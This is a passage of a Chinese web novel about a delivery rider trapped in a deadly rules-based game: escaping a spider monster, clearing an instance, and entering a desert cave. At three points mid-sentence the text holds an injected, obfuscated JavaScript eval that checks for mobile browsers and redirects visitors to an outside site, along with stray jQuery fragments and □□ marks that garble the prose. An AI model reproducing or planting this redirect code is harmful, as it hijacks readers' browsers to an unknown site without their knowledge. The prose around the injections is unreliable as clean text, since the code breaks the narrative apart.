一道匍匐的宛如人一般大小，比马车轮高的黑暗的形体，正以某种相对它的体积来说堪称不可思议的迅捷而移动着。它长着长长的蜘蛛一样的肢体，从簇的节肢上嵌着巨大的似鱿鱼头部的身躯。 乌黑的身体上，一张酷似人类的苍白的脸庞赫然显现。它竖起腹部，睁开那张苍白脸上无数的复眼，滴溜溜转动，没能第一眼看见它的食物，它头顶的触角急促地抖动着，发出尖锐纤细的鸣叫。 “喂！”从前方下处传来令它熟悉的声音，它俯视面前的泥潭。 汪橦看见李莉脸上挂着未来得及收敛的疑惑和兴奋交织扭曲的奇谲表情，她狡诈地转动着复眼，成百上千猩红的眼珠四周细密的绒毛随之颤动。 “叽...叽...找到你了！” 它的口器急促地抖动着，节肢快速移动靠近前方的人类，它张开口器，一层层原本并拢住的尖利的突刺如花瓣盛开般层层打开来，露出内部的消化道。它吐出可以麻痹人类的粗壮蛛丝，直接将对方吸进肚子里。 忽然间，它的面部凝滞了一瞬，接着转为困惑。 汪橦等的正是李莉要吃掉自己的那一刹那，喊完那句“喂！”后她立刻憋气沉入沼泽里，而身后一直埋着半截身子的潘海祥猛然站起，用尽浑身的力气将手上的饭盒掷向蛛丝前端。 【隐藏规则： 一：李莉想吃拉面，但她是一个机会主义食客，她捉什么都正常。】 李莉现出原身后思维似乎也有所退化，没能及时反应过来，蛛丝便带着下了足量老鼠药的外卖食物一下缩进了口器里。依照规则，现在她必须先花上一段时间消化掉她爱吃的拉面，这给其余三人争取了不少时间。 同时汪橦三人早上的想法也得到验证——李莉具有蜘蛛依靠热成像和声音捕捉的特性。三人在雨中淋了足够长的时间，加上大半身体沉在夜晚冷冰冰的沼泽里，当□□温和环境趋于一致。加之身上肥料的臭味和沼泽腐烂的气息混合在一起，只要三人不发出声音，李莉无法捕捉到她们的位置。 越危险的地方越安全，三人决定就在009幢正对着的马路上，即现在李莉的正前方下面，憋住气躲着，一直等到老鼠药毒死她。 可惜的是李莉原身毕竟属于蜘蛛类型的怪物，老鼠药给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806243|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带去剧烈的腹痛却不会杀死她。她深深的被这群人类激怒了，原本她要给她们一个痛快，现在她改变主意了——她要将她们带回洞穴里慢慢折磨死。 尖利的触角激烈地发出巨大的咆哮声，震耳欲聋，节肢在地上疯狂划动着以缓解腹中绞痛，宣泄内心的恼怒。即使陷入沼泽松软的泥土里，也听得见摩擦刺耳的尖挠。原本竖直的口器此刻疲软地耷拉着，取而代之它的一切类人特征消失了，只剩下纯粹的邪恶与恐怖。 头顶一对硕大的复眼变得通红，好似熊熊燃烧的烈火，四周细密的绒毛飞速生长为粗糙浓密的黑毛覆盖住剩下的眼睛。胸前的一双节肢变短抬高，变成弯刀状的武器用来高效收割汪梧桐三人的性命。 身下的沼泽翻滚起来，无数的气泡咕嘟咕嘟冒出表面。尽管努力不让自己因为晃动发出容易被注意到的吸气声，汪梧桐仍然察觉到自己的下半身渐渐发烫——是李莉在逼她们从沼泽里出来，否则就会被生生煮熟在里面。 汪橦只得暗自祈祷宋裴度那边的安排不会出幺蛾子！ 谁知宋裴度心里也暗自发苦，他原本是三人最后的后手——当老鼠药无法毒死李莉时，由他想办法在李莉身上放把火。奈何他趁机悄悄潜到李莉后面时，发现怪物巨大的形体上泛着诡异的暗光，只一眼他便知道，这副躯干如此光滑以至于根本无法放火。此前汪橦威胁怪物成功，恐怕是因为那个时候的李莉尚保持着人形，并且待在家里，一旦放火，四面楚歌，李莉也不想直接撕破脸。 三人内心焦急却无计可施，尤其是潘海祥和宋裴度两个玩家，只恨自己为何没能拥有强力的道具应对眼前的危机。 【规则三：当李莉尝试劝说你上门时，请合理地拒绝。如果她仍然坚持要求你上门，请求助古淹社区居民。 规则四：如果见到活着的古淹社区居民请无视他们。】 汪橦极速头脑风暴：目前三人唯一没有尝试过的规则就是规则四。结合规则三的后半段，可以知道必要时玩家可以求助古淹社区居民。但是活着的古淹社区居民是异常，例如李莉也算“活着”的古淹社区居民，玩家需要无视他们，而三人并没能成功做到无视李莉，所以这条规则她们其实已经触犯了。 【规则五：古语云，灯下黑。】 刚刚规则五说明只要能让李莉不易察觉，躲在最危险的地方就是最安全的地方从原则上看是有用的。但李莉有的是办法逼三个人现身，那么他们就不能继续这样行动。 结合规则三后半段，他们三现在应当想办法求助不是“活的”的古淹社区居民，带自己去暗地里窥探李莉，即灯下黑延伸出来的最后一个含义。 今晚的李莉俨然疯魔，明晃晃地侵犯系统规定，入侵古淹社区里的安全地带，也就是说——只要三人活到天亮，李莉被系统处决，她们也能拿到李莉的手机给五星好评，从而通关。并且这么干，汪橦后面几天也可以不用送李莉的外卖了！ 只是，不是“活的”的古淹社区居民是什么呢？又该去哪里找呢？ 8. 古淹泥潭（完） 009，009……对了！古淹社区并不只有李莉一户……尽管三天来，汪橦三人从未见过其他居民，但此刻死马也要当作活马医。 沼泽不断升温超过70度，逼近80度。汪梧桐三人强忍着想要跳起来尖叫的冲动，小心地保持之前的姿势穿梭在落叶间，朝着距离009幢最近的房屋：008幢移动。黑雾遮挡住前方的视野，三人谨慎地保持手拉手的队形，由汪橦负责在最前面带路。 离记忆里路过的那幢属于008号的别墅越近，黑雾越浓，但三人别无选择，唯有俯身坚持前行。身下埋在沼泽里的皮肉滚烫，幸好天上下着瓢泼大雨帮助三人降温。饶是如此，一半炙烤，一半失温，愈发难捱。沼泽里潮热的水汽蒸腾，氲散开模糊了潘海祥的双眼。他走在队伍末，脚下忽然一绊，直向下跌去。手上不由得牵扯用力，宋裴度低声脱口而出：“小心。” 不远处那因久久找不到人而愈发高耸的躯体忽然察觉到什么，扭转方向，如小山般庞大的身躯狂冲向三人，地面随之颤抖。汪橦顾不得保持缄默，喊到：“快跟我走！”加快速度朝着008幢前的人行道上跑去。 汪橦死死抓住身后宋裴度的手腕，顾不得是否抓疼了对方，使出平生最快的速度带动身后两人奔跑。湿黏的泥泞吸附在□□早已被雨水打湿的裤腿上，她越想要用力向前，越是被这潮湿黏腻的力量向下向后拖去。她顾不得许多，上下牙关咬紧，大口吸气，绷紧肌肉，挥舞着多出来的手臂似乎要打碎空气中湿牢的囚壁。 终于在李莉再一次吐出蛛丝的瞬间，三人踏进了008幢别墅的院子里。进入008院子的那一刻，三人眼前一直涌动不息的黑雾消散不见，看来008幢的区域是李莉不能染指的。这里恐怕居住着和009幢李莉一样强大怪异的存在。 忽视院外李莉的刺耳的尖叫，三人佝偻着身子，转移到008幢的屋檐下。汪橦趴在窗子下方，抬起眼睛朝里望去—— 厚重的白色帷幕垂在一个宽大的书桌前，遮住书桌的左右两端，独独留出中间一块。定睛一看，书桌中央竟是放置着一个棕色的木制牌位。桌前两侧各自排列着用来照亮的白色蜡烛，发出幽幽的烛光。大厅正中间有一个棺材，奇怪的是，棺材盖不翼而飞。 牌位正前方有一块供人跪拜的蒲团，上面正跪着一个背对窗外，身披麻布的人。汪橦定睛看去：这个人没有影子！墙上，地上，天花板…不，哪里都没有！ 幽灵？还是传统意义上的鬼？ 她再一次望向屋内，刚伸出脑袋，就撞上一张陡然放大的青紫的脸。汪橦失声惊呼。虽然她大多数时候很淡定，实际上却是一个易惊吓体质。听到人类的叫声，院外的怪物更加激动。三人甚至能够听到对方正在疯狂地试图突破008幢外院的障碍，进入院内将她们活捉。 可摆在众人面前更为严峻的一件事则是008幢主人的态度。屋外这么大动静，又是008幢的势力范围，008幢却除了惊吓汪梧桐，其余一概不闻不问，没有丝毫提供帮助的意思，不像是她们要找的居民。可如果不是要找的居民，那008幢的主人就是古淹社区“活着的“居民。 【规则四：如果见到活着的古淹社区居民请无视他们。】 汪橦联想到刚刚自己被吓到后的失态，脸色煞白。自己又一次没能成功无视008幢里古淹社区的“活人”……后果会怎么样？来不及思考，脑中警铃大作，快跑！她再次拉上后面两人，三人沿着008的墙从后院绕路翻到007的院子里去。007、006、005… 三人重复着进入一个又一个李莉无法染指的区域却始终一无所获：除了008幢外，其他的房子几乎都是空置，要不然就是住着活着的居民。当三人绕回008幢的后院时，几乎一筹莫展。 此刻即便是三人中体魄最为强健的潘海祥也快到生理的极限了，四肢长时间发力带来的肌肉紧张使得他忍不住发颤。浑身上下无一不是被古淹社区翻滚的热汽蒸出的汗液，湿答答地吸附在身上。 幸运的是，李莉一路追杀三人，沿着008、007一路惹了个遍，自身的力量也被削弱。现在三人躲在008幢后院外的墙根下，用气声低低地商量着接下来的办法。 宋裴度提出一个想法：“整个古淹社区里，还有一栋房子我们还未去。” “你是说，李莉的房子？”汪橦、潘海祥异口同声。 “没错。既然走投无路，不如明知山有虎，偏向虎山行。而且规则里提到灯下黑，或许009幢——李莉的老巢正是最安全的地方呢。” 三人蹑手蹑脚翻进李莉的别墅后院，刚一踏入院里的草坪，地面一阵颤抖。显然李莉察觉到了她们！ 潘海祥直接用出最大的力气肘击别墅侧方的窗玻璃。顾不得碎玻璃渣划破皮肤，三人以最快的速度用手撑住窗户槛，抬身跃进009幢别墅内部。为了保护两个女生，潘海祥坚持自己第一个翻进内部以率先直面任何潜在的危险。尽管汪橦表示李莉应该不至于在自己的巢穴内布置陷阱，但仍旧随潘海祥去了。她和宋裴度心里明白，潘海祥牢牢记着何兆地的死，因此他不想眼睁睁看其他人死去，他要保护好其他队友。 汪橦是最后一个落地的。她刚一落地，前方便传来潘海祥哽咽的哭腔：“对不起，老何，对不起。” 她惊诧地抬头，何兆地——严格来讲，是内里已经被吸空，只剩一副瘪下去的何兆地皮囊，被潘海祥双手抱住放在盘坐的膝上。先她进来一步的宋裴度沉默地站在潘海祥身前。她正欲上前，一个趔趄，慌忙稳住重心试图站稳。 华丽的别墅灯火通明，吱呀声后大门轰然朝两边打开。走廊不断朝着人行道方向向前延展，随之而来的是源源不断涌入别墅大厅的黑雾。 四周墙壁轰然倒塌，汪橦、宋裴度、潘海祥三人所处的客厅中央成为活生生的靶子，在周遭俨然变成废土的砖瓦中十分显眼。李莉重新恢复人形，她似乎笃定三个人类已经无计可施，踏着艳丽的高跟鞋，一步步不紧不慢地从黑雾弥漫的走廊里出来。可惜老鼠药没能杀死她，只在她半边苍白的脸蛋留下灼烧过的燎印，发出难听的呲啦声。 啪嗒啪嗒。 汪橦眼睁睁看着李莉从容不迫地穿过黑雾，几乎是十足把握地信步走来。难道真的没有逃脱的办法了吗？她注视着房屋的变化，脑海中忽然闪过一个大胆而奇异的念头！ 她三步并作两步跑到潘海祥跟前，蹲下来，一只手握住潘海祥的手腕，一只手放在何兆地的皮囊上。宋裴度见状，无需汪橦提醒，也效仿她做出同样的举动。 “潘哥，虽然这么说你可能会不高兴，但是我们要感谢何兆地的皮囊。它正是古淹社区里’死的’居民！” 【规则三：当李莉尝试劝说你上门时，请合理地拒绝。如果她仍然坚持要求你上门，请求助古淹社区居民。】 【规则五：古语云，灯下黑。】 所以破局的关键就是——李莉吃完后没有处理的留在老巢009幢别墅里的，何兆地尸体！ “原来如此吗？何兆地的尸体留在了古淹社区，某种程度上算是居住在009幢里的居民。它是死物，加之’灯下黑’，所以求生之道就存在在最危险的地方——李莉的房屋里。规则三和规则五结合起来了。”宋裴度若有所思。 潘海祥听完两人的分析后愣住，低下头眼前是全身皮囊布满青紫尸斑的何兆地，他悄然落泪。 “老何……” 李莉刚才还气势十足的笑容像是被人一拳打碎，完美的面具出现一丝裂缝，沿着裂缝她的表情渐渐扭曲，在她看见三人紧紧搂住何兆地尸体的一瞬间到达顶峰。一声尖啸穿透古淹社区内外。她似乎想要抓紧时间冲过来，打破三人的姿势。 正当李莉即将碰触汪橦侧身的一瞬间，三人身上爆发出一团耀眼的白色光芒，将他们笼罩其中。原本疯狂变形扭动着的别墅仿佛也停下了。时间似乎在此刻达成静止，外面发生的一切都与她们无关。 天快亮了……东方地平线上出现了一抹淡淡的红霞。 三人周身覆罩的光团化作星光点点散去，阳光穿透古淹社区上空厚重的云层，打在破烂的009幢别墅身上。李莉在系统的惩罚下，尖叫着、扭曲着、歇斯底里着化为灰烬。三人走到灰烬处，扒拉开终于找到灰烬下藏着的手机。 熟练地打开APP，点击上方的五星好评后，宋裴度和潘海祥脑海中皆跳出系统弹窗： 【玩家：宋裴度 主线任务：2/12（完成） 副本名称：人生百态之外卖员七日谈 类型：规则类 检测到玩家已达成拿到三次五星好评（3/3）成就，任务完成，即将通关。】 【玩家：潘海祥 主线任务：4/12（完成） 副本名称：人生百态之外卖员七日谈 类型：规则类 检测到玩家已达成拿到三次五星好评（3/3）成就，任务完成，即将通关】 两人还未来得及对一旁局外人似的汪橦说什么，脑海中再次弹出系统消息： 【注意：奖励将于各位玩家回归集散地后统一结算，请各位玩家稍等片刻。传送开始……】 分别的时刻即将来临，汪橦看见宋裴度和潘海祥对她挥手，口型仿佛在说感谢自己的帮忙，才后知后觉地意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806244|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到两个人原来要走了。 她还未来得及坦诚相告自己其实也是玩家的事实，汪橦挥手微笑：“我们会再见的！”宋裴度和潘海祥一愣旋即绽放出发自真心的笑容。再一看去，两人已是消失，想必回到了玩家集散地。 人行道靠近房屋一侧的景观树丛间，一轮红日已经露头。 古淹社区恢复了第一天晚上众人到来时高雅宁静的模样。除了玩家，没有人知道这里发生过什么。当然，正如我们知道的那样，没有“人”知道。 【喂喂】适时，汪橦脑海中另一道清脆的声音响起。 【系统申请接入玩家脑端……】 【正在连接…连接中…】 【已连接】 【玩家汪橦，你好。我是游戏总系统001，雪山一别后，想必你有许多疑问，接下来由我负责给你解答】 汪橦冷笑：“你出现的可真及时。正好，你来说说为什么我和别的玩家待遇不一样？” 【首先恭喜你，你已通关初始副本】 【其次由于程序故障，在进入游戏时，系统将你传送至大世界中的雪山而非玩家集散地。因为技术原因，目前系统无法解决玩家汪橦滞留在大世界的问题，001对此深感抱歉】 【同时在雪山时因埋在雪里造成玩家短暂雪盲，玩家汪橦进入副本后被游戏强制附加了名为’熟视无睹’的负面效果】 【因此在第一个副本开始后，你没能看到任何和游戏副本相关的提示，给你造成巨大不便，001代表总设计师表示最诚挚的歉意】 汪橦打断：“等等，当时在雪山，我没有雪盲啊？” 【玩家汪橦本应该雪盲，但是在大世界的你没有。因此为了增加玩家体验感，游戏官方在你进入副本后手动为你增加了看不见的负面效果】 听了这番话，汪橦索性笑了： “我从刚才就想问……请问你们游戏程序出了bug把我传到雪山，这个后果是让我作为一个普通玩家自行承担吗？官方还挺好意思给我增加debuff？！你们的总设计师除了道歉能不能有所作为呢？你们的官方和总设计师不是一体的？！先给人添麻烦，而后只鞠躬道歉却不补救……你们是小日子的科技公司？” 【游戏官方没有公司，游戏只是游戏。游戏是总设计师的产物，系统是总设计师的下属也是总设计师的孩子】 汪橦深吸一口气，试图平复翻江倒海的内心——001虽然是总系统，但它权限有限，怪罪001是不明智的。自己无法进入玩家集散地，第一个副本看不见游戏面板和系统消息，这些问题似乎是游戏本身默许的，或许自己真的只是运气不好吧。 “我能和你们游戏的总设计师对话吗？” 【抱歉，玩家汪橦尚未开通此权限】 “尚未？也就是说，我以后是可以开通权限的对吗？” 【是的。只要玩家能够顺利通过第十个副本，就可以有和总设计师对话的机会】 001话音刚落，汪橦脑中浮现出一个全新的蓝色光屏—— 【玩家：汪橦 主线任务：1/12（已完成） 支线任务：0/12 初始副本奖励双倍如下： 1.大世界通行货币：6000元（x2） 2.开启道具栏一行（x2） 注：道具栏最多可开放三行，每行共十格，每格最多存放同类物品999个，不同物品需分开存放进不同格中。 3.玩家每天有一次机会触发道具升级，成功率5%（x2）】 汪橦快速浏览了一遍奖励，茫然地在脑中询问系统：“这就没了？强力道具呢？高级天赋呢？作为一个游戏，道具栏这种本来就应该玩家自动具备的竟然能成为奖励？！”现在她愈发觉得这个游戏是一场骗局，越想越生气，奈何脑海中系统回答她的只有一阵诡异的沉默。 嘀…嘀…嘀… 【已断线】 汪橦露出一个呲牙咧嘴，神情不适的狞笑，深感自己来到这个世界以后诸事不顺。当天下午还未来得及去报到，她接到一通来自队长的电话。电话里队长表扬了汪橦出色地完成公司的订单，成为全队最早达标的人。 队长似乎忘记了宋裴度、潘海祥、钱逐昊等人的存在，汪橦试探地问了几句也就作罢，估摸着又是游戏篡改了原住民的认知。队长暗示汪橦大概率会获得本季度最高的个人绩效奖金和“最佳员工”称号，还大手一挥给她放了一晚假，让她第二天补个白班就行。 只放一晚上的假怎么还要补上半天的班？ 异世界也要调休？ 汪橦泪目…… 9. 闪送外城 新的一天，上午十时。汪橦在内城起早跑了两个多钟头的外卖后，她被APP派到一份跑腿费极为丰厚的同城闪送订单。不过虽说是同城，泥呷市的内城到外城却有很长一段距离。 订单如下： 【姓名：沃伦.卡特 手机号：20020020 订单：手电筒（x2）、登山绳（x1）、蓝色文件袋 取件地址：泥呷市草坪区第二大道市立研究院家属楼B302门口储物箱 收件地址：泥呷市外城区大门口左边第一个路灯下 备注：1.送达时记得电话通知我；2.取件钥匙在门口地垫下，取完东西麻烦将钥匙放回去，谢谢；3.东西统一放进一个大口袋里。】 闪送和外卖不同，外卖一般就是指快餐的外送服务。 广义上，好特快公司的外卖服务还囊括了由员工配送的所有卖家提供的出外服务和商品：像送水的、送花的、送气的、送商品的、上门修理东西的，这些都属于好特快公司的外卖服务范围。 闪送则是好特快公司为了针对都市白领工作需求，例如需要立刻送份文件盖章或者给上司送身份证、充电宝，而开发的新业务模式。 与其说是外卖服务，闪送更接近于快递模式。 闪送要求外卖员限时同城递送客户需要的物品，有时会是帮客户去商场买好他们需要的商品再进行配送，有时则像这份订单一样，按照客户的指示去指定地方…… 汪橦依据订单提供的信息，老实前往草坪区的居民楼取到沃伦.卡特需要的物品。 泥呷市大部分市民居住在池塘区和草坪区。和明显属于富人社区的古淹社区所在的池塘区不同，草坪区更多住着这座城市里绝大部分普通人。稍差一些的外城则是居住着土著与付不起房租的穷苦人。 研究院家属楼？ 汪橦猜测沃伦.卡特是一位在泥呷市公立研究机构里工作的研究员。鉴于自己在这个世界里的配送工作和游戏副本极可能混为一谈的现状，汪橦每接一笔配送费丰厚的大单时都会仔细查看订单上提供的信息。 到了收件地点后，汪橦拨打了用户电话，那头接通后一道冷静低沉的男声响起让汪橦稍等片刻。 约莫等了半个多钟头（客户超时取单的情况下，平台APP会向客户收取按时间计算的对应的外卖员服务费，所以汪橦并不着急），她看见不远处一个身穿卡其色风衣的人朝自己跑来。 一头红发随着他起伏的动作上下扑腾，像一只活泼好动的鸟。那人弯下腰，双手叉在膝盖上方，喘着气道歉道： “不好意思，我来晚了。我们研究队的车陷在流沙里，已经打了拖车电话让他们来修。所以我可能需要麻烦你骑车将我送回前面。” 汪橦了然：估计是一行人来外城田野调查，落下东西，但是他们不想外卖员直接去他们调查的地方，就定了见面地点在外城内城的通道口。结果对方的车开过来的路上出了故障，只得劳他一路跑过来。 “没关系，只是你要去的这个’前面’是有多前面？我车子里的油未必……” 汪橦话音未落，对面那人就摆了两下手表示不必担心，总共十几公里的路程，加之路上有加油站，他可以补贴油费。 “好的，教授。”好特快公司不报销骑手的油费，汪橦秉持有奶就是娘的原则，礼貌地请这位大方付账的研究员坐上自己的车后座。 更关键的是，对方并没有确认“订单已送达”，假如汪橦拒绝，指不定对方反手一个差评投诉。 只见这位红发年轻小伙怔了一秒，解释道：“我不是教授。我是他学生，帮他来拿东西的。教授很忙，哪会自己亲自做这种事情。”语毕，他跨坐到汪橦身后。 汪橦反应过来刚刚接电话的男性声线和眼前红发男清朗的声线的确不同。果然无论在哪个世界，帮导师跑腿都是学生的宿命。 汪橦来到异世界不过半月不到，对外城她仅那日在救援队的直升机上匆匆一瞥，遑论留下深刻的印象。如今亲自跑了一趟，她愈发感慨内外城贫富差距之大。 内城霓虹满照，优越先进的现代建筑群林立，道路干净整洁，椰树排列分布在道路两端。市内更有无数的喷泉、人工湖，全然不见沙漠城市的水资源紧张。 可这里是泥呷市的外城区，明明和内城区同属一个行政规划，却如此的原始、苍茫。目之所及皆是黄沙，偶有低矮的平房松散坐落在沙海之上，平房一旁便是一块小型绿洲。 汪橦没来由的紧张起来，她目不斜视地在飞驰中放大声量企图压过呼呼作响的风声： “你们为什么会在外城区进行研究？” “什么？！”背后那人显然不理解汪橦的潜台词。 “我是说—— “泥呷市外城区虽然穷了点，但是作为城市，它应该已经被政府开发得差不多了吧。哪里还有什么值得你们研究的？” 汪橦生前虽然只是一个平平无奇的哲学系本科生，但她选修过一门人类学的课程，知道他们会有田野调查的研究方法。她不觉得这群人是实验室里的理工科学者因为某些原因跑到外城的沙漠里做实验，这群人大概率是人文社科的研究人员，要么是搞田野调查的，要么是来沙漠里考古的，最多和地理沾上边。 “外城区虽然隶属于泥呷市，但它仅仅只是被提升了行政等级，政府并未对它加以改造。所以外城区的沙漠环境仍然保留了大量的原始形态。很适合我们研究。” 对方并未具体解释自己做的哪方面研究，不过他透露的信息对汪橦来讲已经足够了——对方果然不是搞实验的那批人。 汪橦很快将对方搭载至目的地，待对方下车后，汪橦从摩托车后箱取出对方要求的物品递过。红发男接过后颔首：“稍等，教授在下面，我交给他后，教授会在手机上确认订单完成。” 语毕他朝着通往地下的台阶匆匆跑去，显然手上的文件袋对教授的调查研究紧急万分。汪橦顺着他的行动看向那个台阶—— 那是一个半圆拱起的沙洞入口，洞口堪堪容得下一人通行。有一块未曾固定的灰白石板被随意地放在入口地面沙子上，充当垫脚的台阶之用。石板与沙洞衔接的那头可见一个银色的挂钩和一点红色登山绳的头。 红发男速度快，动作却是实打实的小心。他一踩在上面，汪橦这边便能听见石板与沙子撞击、打滑发出的声响。 汪橦趁红发男背过身，伸长脖子，微仰下巴，卯劲朝台阶下洞口深处望去，里面一片漆黑，什么也看不见。她暗道难怪订单里要手电筒和登山绳，这洞口只怕离地下可以踩实的表面有不小的垂直距离。 既然好奇心得不到满足，汪橦索性收回视线靠在车边等，一边双手捧着手机滑动屏幕浏览网络新闻。 “东部地区突发强雨雪天气，影响范围广、累计雨雪量大、持续时间长、冻雨面积大，对当地交通出行和民生都造成了巨大影响。” “梦魇小镇作为本次气象灾害发生中心，成为大家关心的焦点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806245|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有关部门正在全力应对雨雪冰冻带来的居民生活物资紧缺问题，保障梦魇小镇基础设施运转，全力保障居民交通出行。” “据泥呷市警方通报，我市某知名酒店式商业公寓近日发生爆炸，造成多名人员受伤。” “据泥呷市消防部门的消息，大火从十六楼一户居民家中蔓延至整栋楼。我市消防员及时赶到，疏散楼内全体居民。受伤人员已悉数送往泥呷市人民医院治疗，目前暂无人员死亡。” “公寓物业未来一个月会加紧进行楼房修复工作，目前政府已为公寓居民安排了安置住所。” “近段时间，本市多家中州牛肉拉面连锁餐厅遭食客举报存在食品卫生安全问题，昨日泥呷市食品督查局宣布将派出督查官介入调查。” 汪橦手指不停上滑，虽然现在是春季，但极端冻雨和强降雪发生在这么奇特的世界倒也平常，她大可理解为极端的“倒春寒”。然而看到这条食品卫生安全问题新闻，她不由眼皮一跳：才完成了有关中州牛肉拉面连锁餐厅的副本，餐厅就上新闻，这巧合太巧了吧…… 看到大火二字，汪橦浑身肉紧，前天晚上在古淹社区的沼泽里受的高温烫伤，如果没有冰冷的雨水缓冲，她恐怕躺进医院了。饶是这样，昨晚药店一趟一管烫伤膏、一板消炎药也花费了汪橦不小的积蓄。 初始副本里汪橦拿了12000元的大世界通行货币奖励，但两个不同的药直接划走了她6000元。她的存款几乎一夜回到解放前！ 可气的是，001告诉她，宋裴度、潘海祥回玩家集散地后身上受的任何伤都会被游戏系统完全治疗。滞留在大世界的汪橦无法享受这种玩家待遇。 还有公寓爆炸……她记得肉球怪Cassandre就住草坪区一栋公寓的十六楼，这会是巧合吗？ 念及此，汪橦默默点开手机备忘录： 一、最迟第二次进副本前搞定事项： 1.去中州牛肉拉面店查看老板情况； 2.了解这个世界的行政体系架构，如食品督查官是什么，考虑另谋出路的可能性； 3.再访Cassandre公寓； 4.再访古淹社区，查清008号别墅主人。 二、长期重点事项： 搞钱，搞钱，搞钱！ 天不遂人愿，耳畔猛然传来一声遥远又仿佛近在咫尺的尖叫声，啸厉凄惨无比。 近乎同步地，汪橦翻身上车，警惕地望着那个不大的沙洞，随时准备飞车逃离。一道蓝色的光屏却不合时宜地浮现在汪橦眼前，脑海内同时响起001的通知声。 【玩家汪橦，你好。我是游戏总系统001，恭喜你解锁你的第一个专属支线副本——】 【支线任务：1/12（进行中） 副本名称：沙咔拉之密 类型：逃生类 副本描述： “沙咔拉洞穴自去年末被市立研究院发掘出，一跃成为新的研究热点。洞穴具备完整的供水供氧供电系统，由上百条复杂的地道构成一个近似军事地堡的地下建筑。进入沙咔拉的你，情不自禁地想要更深入了解隐藏在原始与人工背后洞穴深处的秘密……” 注意：找到沃伦.卡特教授，用他的手机确认你的订单已完成。玩家成功逃离地堡，返回地面即视为任务完成，即可通关。】 【此外，为了增加玩家汪橦的游戏体验度，你已解锁负面效果——】 【置若罔闻】 【祝你玩得愉快～】 10. 墙中之蛛（1） 汪橦深吸一口气，停稳摩托，回身从后箱掏出上次在五金店买到的钉枪，往□□后兜一塞，打开手机里的手电筒功能朝洞口走去。 她想复活，想平平安安地带着一大笔钱和自己的健康回地球，她的欲望鲜明而浓烈，自然被游戏拿捏。明知前方下去有坑，汪橦却不得不照做。 甫一踩上灰白色石板，汪橦察觉到鞋底的触感不是踩在完全干燥的石板上触感，而是一股粘脚的黏腻的湿滑。 她略弯下腰用手电筒对准那块石板，定睛一看，石板边缘有一圈潮湿的青苔痕迹。汪橦半蹲嗅闻，那圈青苔散发出宛若沼泽般腐烂湿润的气味。 汪橦神色一凛，站起身来，一边在心中默默安慰自己：李莉已经消失了。沙漠里出现沼泽的气息与李莉无关，或许这也是“沙咔拉之密”的一部分。她一边打定更加小心行事的主意。 汪橦选择坐着放平身子进入小而窄的沙洞口中。 她双腿慢慢往下滑，背部紧靠洞壁，反手抬过头顶抓住那根垂下的登山绳。等身子全部进入洞口后，汪橦一只手腾空，一边扭转身体从背靠洞壁变为正面朝着洞壁，再用双脚抵住，按着不紧不慢的节奏沿着绳子往下小心地移动。 手机被她死死咬在嘴间，手电筒功能保持打开的状态，汪橦在用光线尽可能远地照亮下方。 黑暗中人的五感被无限放大，对时间流逝的感知却被无限削弱。 汪橦自系统通知她激活【置若罔闻】负面效果后，听觉便消失了。她无法听见自己逐渐沉重的呼吸声。 她从一开始有条不紊地往下挪动，渐渐变得脚上使不出力，一跨便是往下滑一大步。脚抵不住洞壁自然身体也稳不住，手抖得几乎是靠着本能的摩擦去抓住绳子，于是身体也跟着不停抖动。 汪橦手上、脸上、背上溢出涔涔的冷汗，她感到肌肉发酸，小腿肚打起鼓，有汗随着额角落入眼睛，她腾不出手去擦。她的呼吸愈发沉重，胸如擂鼓，牙关打颤，手机在嘴唇间晃动，汪橦凭着残存的意志牢记不能将手机弄掉。 在逼近汪橦生理极限的那一刻，在她即将因冷汗太多而再也抓不住绳子无奈放手的那一刻，汪橦脚下踩到了某样坚硬的东西。 汪橦欣喜至极地下意识松手向后倒退了一步，右脚方退了半步不到，却是一脚踏空。汪橦整个人往后仰倒摔去！ 汪橦原本累得不清的神志被突如其来的失重感仿佛陡然间被泼盆凉水，她猛然清醒过来—— 幸好她左手离绳子不过半指距离，来得及补救失误！这下汪橦拼力用左手单边扯住绳子，只是身体却如风筝般在空中被左臂牵引着荡跌下去。 几次振荡过程后，汪橦抓紧时机，反身一个鲤鱼打挺似的动作，右手终于成功勾扯住绳子，她用双臂的力量带动下肢，以双腿夹紧绳子，整个人就这么一路滑下去滑到洞底。 汪橦滑到洞底时，足下跐溜，整个人滑跪在地。她缓缓坐了半晌，平复好呼吸，稍待恢复力气，便从口中取下差点震碎自己牙齿的坚硬物品——手机，用手电筒朝来时的垂直方向上照去。 